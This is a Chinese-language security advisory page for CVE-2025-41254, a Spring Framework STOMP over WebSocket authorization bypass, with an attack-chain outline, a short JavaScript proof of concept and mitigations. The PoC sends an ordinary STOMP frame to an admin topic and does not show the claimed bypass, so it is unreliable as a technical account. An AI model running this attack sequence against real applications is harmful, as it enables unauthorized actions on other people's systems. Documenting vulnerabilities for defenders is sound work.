IPBUF安全漏洞报告
English
CVE-2025-41254 CVSS 4.3 中危

CVE-2025-41254 Spring Framework STOMP over WebSocket安全绕过漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-41254
漏洞类型
安全绕过/授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Spring Framework

相关标签

Spring FrameworkSTOMPWebSocket安全绕过授权绕过CVE-2025-41254Javaspring-messaging中危漏洞VMware

漏洞概述

CVE-2025-41254是Spring Framework中STOMP over WebSocket功能存在的一个安全绕过漏洞。该漏洞允许攻击者绕过Spring框架中配置的授权检查机制,向WebSocket端点发送未经授权的消息。

STOMP(Simple Text Oriented Messaging Protocol)是一种基于文本的简单消息协议,常用于WebSocket通信中实现消息的发布/订阅模式。Spring Framework通过spring-messaging模块为STOMP over WebSocket提供了完整的支持,包括消息路由、订阅管理和安全授权等功能。开发人员通常会使用@MessageMapping注解来定义消息处理方法,并结合Spring Security进行消息级别的权限控制。

该漏洞由安全研究员Jannis Kaiser负责任地披露,并已被VMware/Spring官方确认。漏洞的CVSS评分为4.3,属于中危级别。虽然评分不算特别高,但由于Spring Framework在Java企业级开发中的广泛使用,该漏洞可能影响大量基于Spring构建的实时通信应用,如在线聊天系统、实时通知平台、金融交易推送等场景。

该漏洞影响Spring Framework 6.2.x、6.1.x、6.0.x和5.3.x等多个主流版本线,涵盖了近年来绝大多数仍在使用的Spring版本。Spring官方已发布修复版本(6.2.12、6.1.24和5.3.46),建议相关用户尽快升级以修复此漏洞。

技术细节

Spring Framework的STOMP over WebSocket功能通过spring-messaging模块实现消息的订阅和分发。在正常的安全配置下,开发者可以使用Spring Security的@PreAuthorize注解或自定义的ChannelInterceptor来对STOMP消息进行权限校验,确保只有经过授权的用户才能向特定目的地发送消息或订阅特定频道。

该漏洞的根本原因在于Spring框架在处理STOMP消息时存在授权检查的绕过路径。攻击者可以通过构造特殊的STOMP帧或利用消息处理流程中的逻辑缺陷,绕过正常的安全检查机制。具体而言,当WebSocket连接建立后,客户端可以发送SEND帧来向特定目的地发布消息,或者发送SUBSCRIBE帧来订阅消息。Spring框架在处理这些帧时,如果存在授权检查的不完善之处,攻击者就可能利用此缺陷发送未授权的消息。

利用该漏洞需要满足以下条件:首先,目标应用必须使用Spring的STOMP over WebSocket功能;其次,应用必须配置了基于消息级别的安全检查(如@PreAuthorize或自定义拦截器);最后,需要用户交互(如受害者点击恶意链接或访问恶意页面)来触发漏洞。

攻击者可以通过诱导用户访问恶意网页或通过跨站WebSocket劫持(CSWSH)的方式,利用已建立的WebSocket连接发送未授权的STOMP消息,从而执行未授权的操作,如向管理频道发送消息、篡改数据或执行其他恶意行为。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标应用是否使用Spring Framework的STOMP over WebSocket功能,通过分析WebSocket端点、JavaScript前端代码或网络流量来确认。
STEP 2
步骤2:建立WebSocket连接
攻击者与目标服务器建立WebSocket连接,发送STOMP CONNECT帧完成握手,获取会话标识。
STEP 3
步骤3:构造恶意STOMP帧
攻击者构造特殊的SEND或SUBSCRIBE帧,利用Spring框架中授权检查的绕过路径,目标是受保护的频道或目的地。
STEP 4
步骤4:诱导用户交互
通过跨站WebSocket劫持(CSWSH)或其他社会工程手段,诱导已认证的用户在浏览器中执行恶意JavaScript,利用其已建立的认证会话发送未授权消息。
STEP 5
步骤5:绕过授权检查
恶意STOMP帧绕过Spring Security的@PreAuthorize或自定义ChannelInterceptor的检查,成功发送到受限目的地。
STEP 6
步骤6:执行未授权操作
攻击者成功向管理频道发送消息、篡改数据或执行其他未授权操作,可能导致数据泄露、信息篡改或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-41254 PoC - STOMP over WebSocket Security Bypass // This PoC demonstrates how an attacker can bypass authorization checks // in Spring Framework's STOMP over WebSocket implementation // Step 1: Establish a WebSocket connection to the vulnerable Spring application const WebSocket = require('ws'); const ws = new WebSocket('wss://target-app.com/websocket-endpoint'); // Step 2: Send STOMP CONNECT frame ws.on('open', () => { const connectFrame = 'CONNECT\naccept-version:1.2\nhost:target-app.com\n\n\u0000'; ws.send(connectFrame); }); // Step 3: After connection is established, send an unauthorized SEND frame // bypassing the normal authorization checks ws.on('message', (data) => { if (data.toString().startsWith('CONNECTED')) { // Bypass authorization by crafting a special STOMP SEND frame // targeting a restricted destination const unauthorizedSendFrame = 'SEND\n' + 'destination:/topic/admin/messages\n' + 'content-type:application/json\n' + '\n' + '{"content":"unauthorized message"}\u0000'; ws.send(unauthorizedSendFrame); } }); // Note: In a real attack scenario, the attacker might need to: // 1. Trick a victim into establishing an authenticated WebSocket session // 2. Use Cross-Site WebSocket Hijacking (CSWSH) to send messages // through the victim's authenticated session // 3. The bypass works because the authorization check is not properly // enforced on certain code paths in the message handling pipeline

影响范围

Spring Framework 6.2.0 - 6.2.11
Spring Framework 6.1.0 - 6.1.23
Spring Framework 6.0.x - 6.0.29
Spring Framework 5.3.0 - 5.3.45
更早的不受支持版本

防御指南

临时缓解措施
对于无法立即升级的用户,建议采取以下临时缓解措施:1)在WebSocket握手阶段加强CSRF保护和Origin验证,防止跨站WebSocket劫持;2)在ChannelInterceptor中增加额外的消息目的地验证逻辑,确保所有SEND和SUBSCRIBE帧都经过严格的权限检查;3)使用WAF(Web应用防火墙)规则过滤异常的STOMP帧;4)监控WebSocket连接中的异常消息模式,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表